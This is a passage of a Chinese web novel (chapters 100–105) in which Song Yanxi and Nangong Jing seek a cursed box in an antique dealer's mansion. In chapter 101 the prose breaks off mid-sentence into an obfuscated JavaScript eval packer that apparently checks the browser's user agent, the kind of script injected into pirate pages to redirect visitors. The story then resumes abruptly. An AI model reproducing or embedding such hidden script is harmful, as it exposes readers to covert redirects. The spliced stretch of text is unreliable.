以老夫人视财如命的性子,往后指不定要给她穿小鞋呢。 她斟酌片刻,将宋颜夕往前一推:“此事,还是彩儿来说吧。” 她倒要看看,这丫头能编出什么瞎话。 宋颜夕清了清嗓子:“此事事关重大,彩儿只能与祖母一人说。” 说罢,她直接走到老夫人身边低声说了几个字。 老夫人的眼睛又亮了几分:“此事当真?” “孙女自然不敢欺瞒祖母。” 然后,老夫人就领着宋颜夕去了内室。 没有人知道宋颜夕和老夫人说了什么,但就在她从内室出来之后,老夫人就直接宣布此事到此为止。 宋娇娇对此很有意见。 但在老夫人的眼神威慑下,她只能默默将心中的怒气压下。 “你到底和她说了什么?” 回去的路上,南宫景忍不住问道。 宋颜夕眨了眨眼:“秘密。” 早在那老夫人第一次来找茬的时候,她就已经调查过了。 别看宋章如今是一国丞相,但其实,他的出身并不好。 在他入仕之前,宋家过得十分拮据。 宋老夫人年轻的时候,曾经因为贫穷糟了不少罪,所以哪怕是如今已经身居高位,也改不了那贪财的毛病。 所以啊,她只需要抛个引子出来,就能轻松拿捏那小老太太。 宋颜夕伸了个懒腰:“折腾这么些天,可真够累的。紫翎,你随我进来。” 紫翎跟着宋颜夕进房之后,南宫景倒是识趣地没有跟上去。 他知道,这对主仆现在有许多私密话要说。 就在宋颜夕和紫翎交换情报的时候,南宫景已经回到了他的那间专属“下人房”。 刚推门进去,就见里面坐着一个不速之客。 “你最近很风光嘛。” 阿贵胳膊上挂着白布,脸上的伤虽然好了大半,却还是留下不少淤青。 南宫景靠在门上看着他,没有说话。 嗯,这就是扮哑巴的好处。 他如此散漫的态度让阿贵更加不满。 他“腾”地冲到他的面前,用那只还能自由活动的手揪住南宫景的衣领:“我为二姑娘冲锋陷阵的时候,你可就在后面冷眼看着。如今竟然趁着我养病的功夫讨好二姑娘,真当我是死的吗?” 南宫景的衣领又是他可以随意揪的? 他只不过轻轻一挥手,阿贵就被他拍飞出去。 “砰” 落地的时候,后背正好砸在床沿上,疼得阿贵龇牙咧嘴。 “竟然还敢动手!” 阿贵也是个不服输的,从地上爬起来之后,竟然又朝着南宫景扑了过去。 这一次,他连南宫景的衣角都没有碰到。 “砰” “砰砰” “砰砰砰砰,砰砰” 宋颜夕来到门口的时候,就听到屋内传来重物落地的声音。 还没等她推开门,房门却从里面被打开了。 “你这儿挺热闹啊。” 宋颜夕正要绕过他朝里看,却被南宫景直接推了出去。 他迅速出门,反手,关门......动作一气呵成。 屋内,阿贵鼻青脸肿地趴在地上,如一条蛆一样,艰难地朝门口蠕动。 “何二哥,下手够狠的啊。” 走远之后,宋颜夕偷偷朝南宫景竖起大拇指。 南宫景挑眉:“你都看到了?” “你说呢?” 南宫景轻咳一声:“我平时,其实不这样的。打他是因为,他不安好心。” “难得啊,你竟然还跟我解释起来了。” 宋颜夕直接跳起来在他肩膀上拍了一下,“眼下咱们有大事要做,如此这般,倒是正好打发了他。” “哦?可是有那盒子的线索了?” 宋颜夕摇摇头:“没错。” 她谎称在进京途中发现藏宝洞,让宋老夫人帮她介绍信得过的古董商人,碰巧,让她得知了一个消息。 “你是说,宋章有一个好友,是做古玩生意的?” “没错。既然宋府和安远侯府都没找到那个盒子,会不会,被他送给了那位友人呢?” 南宫景沉思片刻:“你是想,会一会那位古玩商?” “没错。” “好,此事我来安排。” 第100章:同床共枕? 南宫景的速度很快,不过一日光景就找到了那位古玩商。 古玩商姓古,全名古德茂。 宋颜夕偷溜出府的时候,古德茂正在黄金楼淘宝贝。 “又是黄金楼。” 站在黄金楼下,宋颜夕轻轻吐出一口气。 她抬头看了南宫景一眼:“对了,你那位故友的妻子如今可好?” 南宫景愣了一下,随即答道:“董昌死后,她便离开上京城了。” 听她提起玄弥,南宫景这才想起,他府上还关着一个人。 对于玄弥的身份,他尚有疑虑。 是以,他并没有像放了紫翎一样将玄弥送出去。 不过那女人也是个硬茬,除了那日无意间透露了月容的消息之外,再也不肯多说一个字。 “这么多人,你说,哪个才是咱们要找的古德茂?” 进入黄金楼之后,宋颜夕直奔二楼。 这一层,是古玩区。 和玉石区不同,这一层的货品琳琅满目,而且不乏稀奇古怪之物。 宋颜夕佯装挑选货品,实则和南宫景交头接耳。 “在那儿。” 顺着南宫景所指的方向看去,宋颜夕看到了一个留着络腮胡的中年男人。 “这人瞧着倒是个豪迈的,宋章那样的书生,竟然能交到这样的好友?” 此时此刻,宋颜夕打扮成一个俊俏小郎君,而南宫景呢,相貌普通。 他脸上戴了一张人皮面具。 他们暗中观察古德茂。 在二楼转了一圈之后,古德茂花大价钱买了一个青铜酒杯。 随后,他便离开了黄金楼。 南宫景朝暗处比了个手势,蒙了面的林昊便一路尾随古德茂而去。 他们离开后没多久,宋颜夕和南宫景也离开了黄金楼。 经过一处巷口的时候,果然听见一阵求饶声传来。 “这位大侠,我身上值钱的东西可都已经给你了,我上有八十岁老母,下有嗷嗷待哺的孙儿,你就饶我一命吧。” 假扮土匪的林昊直接将手中长剑指向他的心脏:“古老板家财万贯,出门就带这么点碎银子?” “我......” 古德茂正要开口,却听一道清爽的声音响起:“大胆小贼,敢在本公子的眼皮子底下拦路抢劫,活得不耐烦了?” 宋颜夕大喝一声,直接朝林昊冲了过去。 林昊原本是想抬起剑和她装模作样打几下的,按照原计划,他需要划破宋颜夕的胳膊。 然而,剑还没碰到宋颜夕,他忽然感觉周围的空气冷了下来。 林昊吓得一个哆嗦,赶紧收回手中长剑。 宋颜夕朝他使眼色:【说好的苦肉计呢,你倒是刺啊。】 林昊甚至还后退两步。 【您可是和我们家王爷拜过堂的王妃,小的不敢啊】 【你这怂货!】 宋颜夕暗骂一声,打算自己撞到他剑上。 结果她的腿才刚刚抬起,南宫景就临门一脚把林昊踹飞了。 林昊如释重负,趁机溜之大吉。 宋颜夕:...... 这俩货,怎么都不按剧本演呢? 不弄个小伤口,怎么趁机让这位古德茂带他们回家疗伤呢? “感谢二位英雄相助。” 得救后,古德茂立马从地上爬起来,拱手朝他们二人道谢。 一阵客气的寒暄之后,宋颜夕忽然“哎哟”一声朝地上栽去。 南宫景眼疾手快地接住她。 “恩人这是怎么了?” 南宫景面不改色地扯谎:“应该是方才与那恶贼打斗的时候受了伤。” “受伤了吗?” 古德茂上下打量着宋颜夕。 此时的宋颜夕,面色红润,而且身上没什么伤口,半点不像受伤的样子。 “是内伤。你不懂武功,看不出来。我这就带她去找大夫。”南宫景继续说道。 “原来是这样啊。” 见南宫景抱着宋颜夕离开,古德茂快步跟了上去。 他们钻进一家叫五味堂的医馆,找了个贾大夫。 贾大夫诊断,宋颜夕这病十分严重,得静养三日。 古德茂当即大手一挥:“若是恩人不嫌弃,便去我府上养伤吧。” 南宫景半点都不犹豫,抱着宋颜夕就走:“前面带路吧。” 古德茂摇了摇头:“这二位恩人,可真是性情中人啊。我请他们去府上疗伤,他们竟然连我府上是哪里都不问。如此秉性闯荡江湖,可莫要被人骗了啊。” 正在整理药材的贾大夫听了他的话,忍不住扯了扯嘴角。 连对方是谁都不知道就往家里领 到底是谁比较傻啊。 古德茂喜欢研究古玩,在选择宅邸的时候,特地选了个风水极佳的地方。 只不过这地方距离城区有些远,再往北,便要出了上京城了。 用他的话说,之所以把宅院建在这里,就是为了镇邪。 想来他也是知道有些古玩是带着“邪气”的。 只不过……这房子构造的确奇怪。 偌大的宅邸,三分之二都是空地,除了主屋和下人房之外,竟然只有一间客房。 “恩人今夜就在此歇息吧。” 将他们领到客房之后,古德茂就离开了。 古德茂一走,宋颜夕立马从床上跳起来。 “这古德茂怎么回事,竟然给咱俩安排同一间房。” 南宫景耸肩:“不然,你去住下人房?” 宋颜夕:“你怎么不去?” “我又不傻?有客房不住,跑去住下人房?” 宋颜夕不说话了。 的确,他们都不傻。 当然,古德茂也不傻。 他们就这样堂而皇之地住进来,没准,古德茂已经派人盯着他们了。 “不说这个了。接下来,你有什么计划?”南宫景问。 宋颜夕朝他勾了勾手,示意他靠近一些。 耳语一阵之后,南宫景朝宋颜夕竖起大拇指:“真有你的。” “不过,这计划还需林昊配合。咱们先在此住上一宿,明日行动。” 南宫景没有反对,只不过,一双眼却是盯着屋内唯一的床榻。 “今天晚上,咱们怎么睡?” 宋颜夕十分豪爽:“这有何难,就跟小樟村的时候一样呗。” 那个时候,他们也是在一张榻上睡了好几个月。 只不过,这间房间里并没有能够遮挡视线的帘布。 宋颜夕想了想,干脆将桌上的水壶往床中间一放: “你睡里面。” 南宫景:“这样不好吧?万一你滚下床……” 宋颜夕直接在他臀部踢了一脚:“让你睡就睡,废话怎么这么多呢。” 南宫景倒是守规矩,让他睡里面,他还真的就不越雷池一步。 宋颜夕和衣躺在床上,满意地闭上眼。 却不知道,就在她进入梦乡的那一刻,身旁的南宫景倏然睁开了眼。 第101章:神秘的古宅 月光透过窗格洒落在宋颜夕身上,让她整个人看起来多了几分不真实的朦胧感。 南宫景就这样侧身看着她。 看着看着,他缓缓抬起手,试图抚上宋颜夕的脸颊。 手在空中停顿了许久,最终,还是缩了回去。 夜,寂静无声。 丑时刚过,屋外却忽然响起一阵惨烈的叫声。 宋颜夕猛地睁开眼。 那声音,并不是古德茂的。 反而像是…… “去看看。” 很显然,南宫景也是被这叫声惊醒的。 宋颜夕没有迟疑,立刻翻身下床。 因为动作幅度太大,撞翻了床中间的茶壶。 刚刚走出房门,就听见一阵嘈杂的脚步声。 南宫景眼疾手快地将她拉到柱子后。 夜色中,一群小厮拿着火把朝前院跑去。 二人交换了一下眼神,立刻朝着小厮奔跑的方向追了过去。 “我说这房子的构造为何如此奇怪,原来,竟然藏着阵法。” 跟着小厮来到前院后,他们借着夜色隐藏身形。 从他们的角度,正好可以看到那些小厮手中拿着木桶,正在往院子里的空地上倒着什么。 那些东西倒进去之后,原本空旷的地面仿佛被撕开了一道口子,一些细碎的银色纹路渐渐从院子中心朝四周蔓延。 随着那些纹路蔓延开去,地底下忽然响起“嗝嗝嗝”的声音。 宋颜夕压低声音问道:“看出什么没有?” 南宫景摇了摇头。 眼下这情况,见所未见。 随着那纹路越来越深,方才的惨叫声也愈发清晰了。 不过院子里除了那些小厮之外,再也没有其他人。 那叫声,更像是从地底下传出来的。 也就是这一思索的功夫,那些纹路已经蔓延到他们脚下。 此时,“嗝嗝嗝”的声音几乎就在他们耳边响起。 再看院子里,那些小厮不知何时已经消失不见了。 “糟糕,中计了。” 二人对视一眼,不约而同朝门口的方向跑去。 然而已经太晚了。 那些他们认为的“纹路”其实是一些细小的虫子,那些虫子身上发着银光,远远看起来,就像是细线一般。 此时此刻,那些虫子就跟在他们身后,无论他们往那个方向跑,那些虫子都能精准无误地追上他们。 “抓紧我!” 南宫景揽住宋颜夕的腰,一个纵越跳上屋顶。 南宫景的武功有多好,宋颜夕是知道的,但此时此刻,他竟然逃不出那些虫子的包围圈。 不仅仅是甩不开这些虫子,甚至于,他连这院墙都翻不过去。 跳过院墙之后,他们又再次回到了这个院子里。 “这情景,似曾相识啊。” 宋颜夕忽然想到,在不久之前,她也曾遇到这样的鬼打墙。 南宫景知道她说的是那件事,一边带着她四处逃窜,一边问道。 “你上回是怎么破阵的?” 宋颜夕开始回想:“情况不同。我上回把那人制服了才有闲暇破阵的。但现在这情景……” 静不下心啊。 南宫景瞬间了然。 他将她放在屋顶:“我来引开那些虫子,你想办法破阵。” 宋颜夕也不扭捏,直接点头:“你小心。那些虫子有毒。” 南宫景在她脸上捏了一下:“放心吧,区区毒虫,还奈何不了我。” 宋颜夕脸颊微热,这男人,没事捏她脸做什么? 当她是三岁孩童吗? 不用带着宋颜夕,南宫景的速度快了许多。 他就像是一阵风,不断穿梭在黑夜中。 为了引走那些虫子,他故意将动作闹大。 有了攻击目标,那些虫子果真就瞧不上屋顶上的宋颜夕了。 她盘腿在屋顶坐下,仔细观察着周围的布局。 站在屋顶上才发现,这古宅这构造很像一个大大的“回”字。 他们现在所在的位置,就是中间的那个“口”。 但此时因为那些虫子的关系,这个字被破坏,反而形成了一个新的图案。 除了追着南宫景跑的那些之外,还有一些虫子是固定在几个地方的。 与这建筑物结合起来,就像是某种图腾。 宋颜夕脑袋一疼,她总觉得这图腾在哪里见过。 可当她要再往下想的时候,却又什么都想不起来。 “难道是属于原主的记忆?”宋颜夕这样想道。 但她此刻无暇想这些,当务之急是先破阵。 如上次一般。她盘腿坐在那儿缓缓闭上眼睛。 当视线被阻隔,耳边就只剩下风声、脚步声以及那些虫子爬行的“嗝嗝”声 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“小心!”南宫景忽然喊了一句 第102章:神秘的古宅2 砖块陷下的那一瞬间,数枚银针从地底下飞射而出。 南宫景拉着宋颜夕快速躲了过去。 看到那些银针全部射完,地上出现了一个幽深的洞口。 “要不要下去瞧瞧?”宋颜夕指着那洞口问道。 从他的目光中,宋颜夕得出了答案。 他们顺着那洞口一路往下,没过多久就来到一座石室前。 宋颜夕不懂机关术,在门上摸了半天也没敲出个所以然。 她转身看向南宫景:“能打开吗?” 南宫景将火折子递给宋颜夕,修长的手指一寸一寸从石门上划过。 如此来回两次,他的指尖便在石门上的某个凹槽处按了下去。 “轰隆~” 石门应声而开。 宋颜夕朝他竖起大拇指:“这一招,也是和小齐公子学的?” 南宫景没有否认,拉着她直接进了石室。 里面的布局并不复杂,甚至可以说,一目了然。 偌大的空间里,并没有一点摆设,就连烛台抑或是货架都没有。 这儿也不像是囚室,因为,并没有锁链等用于禁锢人的东西。 宋颜夕摸了摸下巴:“大费周章在这地底下挖了这么一个暗室,怎么会什么都没有呢?” 南宫景朝前一指:“倒也不是什么都没有。” 因为南宫景从小习武,视力要比宋颜夕好许多。哪怕是在如此幽暗的环境里,他也能看到常人看不见的东西。 当火折子靠近石壁的时候,宋颜夕这才发现,那上面有一些雕琢的痕迹。 因为光线问题,她看得并不清晰。 “是壁画。”南宫景说道。 壁画? 宋颜夕后退两步,瞪大眼睛仔细瞧了瞧,仍然没看出什么门道。 “你能看明白?”宋颜夕问。 南宫景摇了摇头。 不知全貌,他也很难做出判断。 宋颜夕绕着石壁走了一圈,走着走着,她忽然停下脚步:“你有没有觉得哪里不对劲?” “早就发现了。你说,这院子里闹出这么大的动静,古德茂去哪儿了呢?” 自从最开始见到那几个小厮之外,他们到目前为止还没有见过这座宅院里的人。 而身为这座宅子的主人,古德茂更是从头到尾都不见踪影。 “你说,他会不会躲在哪里偷偷看着咱们呢?”宋颜夕压低了声音问道。 南宫景看向秘道入口处:“或许,咱们都低估他了。” 他此刻怀疑的是,古德茂是不是南夏细作。 而宋章,又是否知晓他的底细? “那是什么?” 思索间,却听宋颜夕的声音响起。 一转头,宋颜夕已经朝石室中间走去。 南宫景眸光一暗,那个地方,方才是闪过了什么吗? “等等!” 他想要拉住宋颜夕,然而已经来不及了。 还没来得及触碰到她的手腕,宋颜夕便被一股霸道的力量吸进了那地表深处。 此时此刻,宋颜夕的脑袋有一些晕眩。 她仿佛听见南宫景在身后叫着她的名字,但一转头,身后却空荡荡的。 “人呢?” 她拿着火折子找了一圈,都没发现南宫景的身影。 “何越,何越~”她扯着嗓子喊了几声。 然而除了石壁的回音之外,再也没有其他声音回应她。 此时此刻,宋颜夕的表情终于变得凝重。 周围的一切都没有变,可一个大活人就这样凭空消失了。 这,怎么可能呢? 于此同时,南宫景的脸色也是阴沉得可怕。 他在石室里找了一圈,都没有找到机关。 因为不确定宋颜夕是否安全,他的情绪逐渐变得狂躁。 正当他打算以蛮力破坏石室的时候,耳边忽然响起一阵哨声。 他面色一喜:“是骨哨?” 那是当初在径山寺的时候,他送给宋颜夕的。 听声音,应该距离他不远。 可这石室就这么大,宋颜夕会在哪儿呢? 他尝试着敲击地面,希望宋颜夕听见之后能够给他回应。 然而他敲了好几下,非但没等到回应,那哨声还消失了。 另一边,宋颜夕缓缓放下骨哨。 “没反应啊。难道,这骨哨声也传不出去?看来,只能靠自己走出去了。” 目光沿着四周扫射一圈,最终,定格在其中一面石壁上。 “看来,这当中的玄机,还在那壁画中。” 她做了几个深呼吸,再次将火折子靠近那些壁画。 这一次,她看得很仔细。 几乎是整个人贴在石壁上了。 手眼并用之后,她大概也能看出些名堂。 第一面石壁上,刻着日、月、人,还有一些房子。 看起来像是某个部落的生活场景。 再往前,她似乎看到了一个圆形的台子。 台上不知绑着什么,而台下,乌泱泱跪了很多人。 “是祭坛吗?”宋颜夕猜测。 不知为何,她总觉得那圆台上的东西很关键。 可这壁画刻得实在粗糙,而且这地方光线又暗,她看了许久都没瞧出那台上绑着的究竟是什么。 她放弃研究祭坛,继续往前摸索。 那是一片茂密的林子,粗糙的线条刻画着高耸如云的树。 而在那林子深处,有一个人手持弓箭,像是在狩猎。 至于猎物是什么,她也不得而知。 继续往前 村子里升起了篝火,有人载歌载舞,似乎在庆祝什么。 高台上,隐约可以看见两个人。 他们相对而立,身上的线条比其他人多了不少,想来这二位应该是这个部落中位高权重之人。 “那是什么?” 宋颜夕发现,这幅壁画还远不止于此。 在那明月高悬之处,似乎还隐藏着什么。只是那线条实在太过粗糙,宋颜夕看不明白。 在下一幅画中,她找到了答案。 那个隐藏在月色下的东西,应该是某种凶兽。 因为,下一幅壁画上的人已经开始四处逃窜。 房屋被毁,部落里不再歌舞升平。 那个手持弓箭的人再次出现,他站在人群的最前端,看起来,像是要带领这个部落的人斩杀凶兽。 宋颜夕原本继续往下看,却发现后面那些线条已经模糊得只剩下一些黑点。 一直到最后一幅,她终于再次看见了一些东西。 “这就是那个凶兽吗?” 那个手持弓箭的人大概是战胜了凶兽,回部落的时候,手上拖着一个黝黑的长条物体。 “看起来,像是,蛇?” 不知是不是错觉,她竟然看到那“蛇”流下了一行清泪。 一定是眼花了。 她眨了眨眼,将身体靠近石壁,再次朝那“蛇”看去。 这一次,那“蛇”竟像是活过来一般,张着血盆大口朝宋颜夕脑袋上咬去。 第103章:神秘的古宅3 “啊!” 宋颜夕发出一声惊叫,猛然睁开眼坐了起来。 看着周围的环境,她愣了一下。 “我怎么还在这儿?” 眼前哪里有什么石室和壁画?根本就是昨天古德茂给他们安排的客房。 转头一看,果然看到南宫景板板正正地躺在里侧。 那个茶壶也稳稳立在那儿,床单很干净,半点茶渍都没有留下。 宋颜夕揉了揉脑袋。 难道,昨夜经历的那些都只是一场梦吗? 那这梦未免也太真实了。 “何越,醒醒!” 见南宫景还在沉沉睡着,宋颜夕伸手推了推他的肩膀。 第一次,南宫景并没有反应。 她加大力道又推了几下。 眼珠子转了转,但仍然没有醒来。 宋颜夕皱了皱眉,直接取出银针朝他身上扎了下去。 这一次,南宫景终于睁开了眼。 “你有没有......” 宋颜夕原本想问他有没有梦到什么,却见南宫景眼中的神色变换了好几下。 起初是悲痛,然后,是震惊。 最后又化作劫后余生的喜悦...... 不知为何,她那个问题忽然就问不出来了。 “你还活着,真好。幸好,你还活着。” 南宫景一把抱住了她,有些语无伦次。 他的力道是那么大,大到仿佛要把宋颜夕揉入到他的骨血当中。 宋颜夕身体僵硬,就这样被他抱着,一时之间不知该作何反应。 她并不知道,在那个“梦”里,南宫景在她消失之后没多久就遭遇了攻击。 攻击他的是一团看不清的黑雾。 最后,那黑雾凝聚成一个没有脸的傀儡人。 南宫景清楚地记得,他一掌拍死了那个傀儡人。 可当那傀儡倒下的时候,原本模糊的脸突然出现五官。 那张脸,和宋颜夕几乎一模一样。 最后,那傀儡又变成了月容的脸。 正当南宫景因为亲手“杀了”挚爱而痛苦不已的时候,身上忽然传来一阵刺痛感。 他便是在此时醒了过来。 刚睁开眼,就看到宋颜夕目光灼灼地盯着他。 震惊过后,他再也压抑不住心中情感,将她揽入怀中。 直到屋外传来敲门声,他才松了手。 “你?” 南宫景张了张嘴,最后也只是说了一句“我去开门”便翻身下了床。 “恩人昨夜睡得可好?” 门外,古德茂笑眯眯地站在那儿。 南宫景微微颔首:“尚可。” 他只字不提昨夜那个诡异的梦,古德茂眼中倒是闪过一丝诧异。 不过,他很快就将那份诧异隐藏起来。 正在此时,宋颜夕也已经走到门口。 看到宋颜夕的时候,古德茂愣了一下:“恩人的伤可是都好了?” 宋颜夕佯装咳嗽几声:“大抵,还要再休养几日。” “恩人也是为了救我而受伤,若是不嫌弃,便在府上多住几日吧。” 宋颜夕下意识想要拒绝。 但一想到此行的目的,便又话锋一转,道:“那便叨扰了。” 古德茂领着他们熟悉府邸,宋颜夕和南宫景顺势查看了昨夜梦到的那个亭子。 亭子附近并没有任何异常。 梦里的那个暗道入口,并不存在。 “此事,你怎么看?” 四下无人的时候,宋颜夕和南宫景坐在亭子里复盘。 交流后发现,他们昨夜的确做了同一个梦。 “此事蹊跷,若真是梦,也太真实了一些。” 更何况,还是两个人同时入了梦,虽然后面各自有了不同的梦境。但那个梦从一开始就很不寻常。 “这个古德茂有古怪,咱们还须小心行事。” 而且他们昨夜刚入梦时听到的那道叫喊声,也让宋颜夕十分介意。 她总觉得,那个人的声音很像是...... 南宫景抬了抬下巴:“古德茂要出门了。” 顺着他的视线看去,果真看到古德茂提着个很重的荷包出了门。 古德茂离府之后没多久,就有一个叫阿勇的小厮来招呼他们。 “你们老爷这是要去哪儿啊?”宋颜夕佯装不经意地问道。 阿勇一边给他们上菜,一边答道:“许是出门进货了吧。老爷从不让我们过问他的事。我们做下人的,也不方便多问。” 宋颜夕又旁敲侧击的问了一些,但是都没有得到有用的线索。 他们就这样在古宅住了下来,趁着古德茂外出的时候,林昊翻墙而入。 “你这样……” 按照宋颜夕的计划,南宫景给林昊下了指令。 看着那主仆二人低声交谈的样子,宋颜夕站在几步开外没有接近。 林昊离开以后,他们趁机在府中查探了一番。 古德茂不愧是做古玩生意的,这宅子里的宝贝可真是不少。 但他们搜寻了一圈都没有找到想找的东西。 “有暗门吗?” 库房里,宋颜夕轻声问道。 南宫景摇了摇头。 古宅的结构可以说非常简单,甚至于,连守卫也很松,他们几乎不费吹灰之力就潜入了库房。 不仅如此,到目前为止他们连一个机关暗门都没有发现。 “不应该啊。” 宋颜夕看着那满室的宝贝陷入沉思。 这么多宝贝,难道不是该派人日夜看守吗? “再去其他地方看看。” 这天,他们潜入了许多房间,结果大差不差。 一直到暮色四合的时候,古德茂回府,他们才停止了动作。 “古老板看起来有心事啊?” 席间,宋颜夕开口打破宁静。 古德茂轻叹一声:“今日,差点命丧黄泉。现在想想还是心有余悸啊。” 古德茂开始跟他们诉说这一天的心路历程。 总结出来就是一句话,衰神附体。 出门差点儿被马撞,过桥差点儿掉下河,吃饭的时候,碗里有死蜘蛛,就连在做生意的时候也差点儿被不知从哪儿闯来的乱党乱刀砍死。 宋颜夕掩住眼底的笑意。 这个林昊,做事够狠的呀!让他吓一吓古德茂,他这是把人往死里整。 “竟然还有这种事?古老板以后出门可要小心些呀。”她佯装关心地说道。 古德茂摇了摇头:“后来我找人算了一下,说是我这宅子里有脏东西。二位恩人,怕是不能再住下去了。古某怕这脏东西会找上你们。” 说着,他招了招手。 阿勇端着个盘子走了上来。 “若二位不嫌弃,便收下这银钱,也算是古某感谢二位的救命之恩。” 还没等宋颜夕开口拒绝,脚下的土地忽然开始剧烈震动起来。 不过一会儿功夫,连他们面前的桌子都莫名其妙裂成四瓣。 古德茂吓得跳了起来。 “这,该不会就是那脏东西要出来了吧?” 第104章:神秘的古宅4 宋颜夕朝南宫景使了个眼色。 【你干的?】 南宫景摇头。 他虽打算吓一吓这个古老板,但还没来得及动手呢。 这下,宋颜夕的脸色开始凝重起来。 她忽然想起昨天那个梦境,莫非这一切又开始了? 虽然怀疑,但他们还是带着古德茂和阿勇离开了那间屋子。 前脚刚踏出来,身后的房子轰然倒塌。 “啊!!我的房子啊!” 古德茂发出一声惨叫。 然而这一切并没有因为房子的倒塌而停止,脚下的土地还在颤动。 宋颜夕差点站立不稳,得亏南宫景扶了她一把。 “难道是地裂?”他们交了一个眼神。 “不,一定是脏东西。”古德茂神色悲痛。 宋颜夕顺势问了一句:“古老板近日可是得了什么宝贝?难道真是那东西不干净?” “我最近也没有……” 说着,古德茂猛地一拍大腿:“我知道了,肯定是那样东西。” 南宫景和宋颜夕心中一喜,脸上却不露分毫:“古老板想到什么了?” 震动还在继续,古德毛的身子晃动几下,一旁的阿勇立刻上前搀扶着他。 “就是我前段时间收到一个老物件,是个木盒子。我这就把那东西丢了。” 古德茂说着就要往里冲,却被阿勇用力抓住: “老爷,房子都塌了,那东西肯定找不着了啊。” “你懂什么?不把那东西毁了,我的命怕是要交代在这儿。”说这,他一把甩开阿勇的手。 眼见古德茂又要朝废墟中冲去,宋颜夕和南宫景一左一右拉住他。 “那盒子长什么样?我们帮你一起找。” “这......” 古德茂犹豫了一下,道:“如此也好。那盒子大概两只手掌那么大,上面刻着合欢花。哦,那是老紫檀木,盒子本身还带着一股淡淡的檀香味。” 宋颜夕和南宫景对视一眼。 竟然是合欢花? 他们是见过那个盒子的,就在库房货架的最顶层。 但那里面并没有他们要找的东西。 古德茂还在说话:“我将那东西放在库房里了,就是那个方向,咱们赶紧过去吧。” 事已至此,他们若就此抽身倒显得太过刻意。 所以,宋颜夕和南宫景同时应了一声。 然后,四个人就快步朝库房的方向跑了过去。 幸而经过方才的强烈震动之后,地面的波动缓和了不少。 虽然依旧有些起伏,但人行走在上面也是没有问题。 和饭厅一样,库房也已经沦为一片废墟。 他们在废墟中挖了很久,终于在一堆被砸烂的古玩中找到了那个檀木盒子。 “就是它就是它。” 就在他们将那盒子挖出来的那一瞬间,地表的震动彻底停止。 古德茂抓着那盒子,眼中神色有些复杂:“收到此物的时候,我那老友便提醒过我,此物甚是邪门。当时我还不信,总觉得自己见惯了这么多古物,没道理会折在这小小的檀木盒上,没想到啊......” 古德茂长叹一声,立刻让阿勇生起火堆。 “古老板是想烧了此物?”宋颜夕问。 古德茂点头:“这是最好的办法了。” 因为先前已经查看过这个盒子,宋颜夕并没有阻止他。 然而,奇怪的事发生了。 那分明就是木盒子,但被扔在火里烧了很久都没能烧毁。 除了染上一层黑烟之外,那盒子几乎完好无损。 “果然是个邪乎玩意!” 古德茂不死心,又让阿贵找来斧头打算将这盒子劈开。 “啪~” 一斧头下去,木盒子纹丝不动。 这一下,就连南宫景都饶有兴致地看向那个盒子。 莫非,这东西当真如此玄乎? “我来!” 他说了一句。 宋颜夕看向他:“当心。” “放心吧,我有分寸。” 南宫景的力道,可不是阿勇能比得上的,但即便如此,那盒子仍然连一丝裂缝都不曾出现。 不仅如此,随着他的动作,好不容易停歇的震感又再次袭来。 南宫景原本想再砍一斧头的,见了此景,赶紧将斧头扔到一边。 古德茂跪坐在地上,一副生无可恋的模样:“邪物,这是邪物啊。” 宋颜夕让阿勇将古德茂扶起来,然后,朝南宫景使了个眼色:“当务之急,还是先离开这儿。” 他们不再管那盒子,一路朝门口的方向狂奔而去。 眼看马上就要离开这座宅院,那宅院的大门却像是被焊死在那儿,无论他们怎么使劲都打不开。 忽然,身后响起一阵空气爆破的声音。 转身一看,所有人的瞳孔中都映射着同一种神色。 那个被他们丢弃在后院的木盒子,竟然凭空出现在他们眼前。 而且,是悬浮在半空之中。 此情此景,无端透着一种邪乎劲儿。 古德茂双腿一软就倒在地上:“完了完了,这东西是赖上我了啊。” 不仅仅是古德茂,地狱里走了一遭的宋颜夕此刻也是毛骨悚然。 她的眼睛一直盯着那个盒子,见那东西只是漂浮在空中,没有攻击人的意思,这才稍稍松了一口气。 “古老板,这东西你是从何处得来的?” 此时,南宫景问了一句。 古德茂看起来被吓得不轻,哆哆嗦嗦才把事情的始末讲清楚了。 这盒子是他从一个南边来的小贩手里买来的,当时,那小贩声称急着用钱,便将这古物折价卖给了古德茂。 这种成色的老檀木并不多见,古德茂拿到这盒子之后,还向朋友炫耀了许久。 但就在不久之前,古玩行的一位老友曾经劝诫他,这檀木盒上附着脏东西,让他尽快将盒子处理了。 古德茂不以为意,虽不再将那盒子拿出来炫耀,却还是将它藏在了库房里。 “其实,怪事是在一个月前发生的。” 古德茂开始回忆一个月前的事。 原来,古德茂也和他们一样,这一个月以来一直做着同一个怪梦。 在梦里,他不断经历死亡的恐惧。 醒来后却又发现自己端端正正地躺在卧榻上。 “既然如此,为何不早些将那盒子扔了?”宋颜夕问。 古德茂瞧着他们,欲言又止。 “我想,我知道原因。” 宋颜夕看向南宫景:“你知道?” 第105章:跳下去 “其实,你早就知道我们接近你是另有目的了吧。” 南宫景的目光落在古德茂身上。 古德茂一怔,似乎想解释什么,但看到那飘在半空中的盒子,又瞬间耷拉着脑袋:“是啊,从我在巷子里见到你们的第一眼,我便知道了。在黄金楼,我便已经注意到你们了。” 说着,他又看向宋颜夕:“其实,你并没有受伤,对吧?” 宋颜夕:“既然你都看出来了,还把我们带回家,该不会是想要利用我们给你挡煞吧?” 此时此刻,宋颜夕倒是有些哭笑不得了。 他们还以为自己做得天衣无缝,没想到在这个局里,他们都互为鱼肉。 她缓缓看向那散发着阴冷气息的檀木盒。 而这握着刀俎的,似乎另有其人。 “没错。” 古德茂承认,他之所以把他们带回家,又将他们安排在那间房间里,就是打算把他们当做“祭品”献给那个诡异的盒子。 宋颜夕又问:“你选中我们,是随机的?” 古德茂点点头,然后,又摇了摇头:“不,是一位方外高人教我的。他说,近日会有人为了那个盒子接近我,只要我能把人骗到那个房间,就能摆脱恶灵纠缠。” “那方外之人可有法号?道场在何处?”南宫景问。 古德茂犹豫片刻,似乎在思考该不该吐出那个人的底细。 宋颜夕见此,冷言:“你有没有想过,这盒子为何会落入你的手中?当初遇到那个小贩的时候,可有什么不同寻常之处?” 古德茂猛地抬头:“你这是什么意思?” 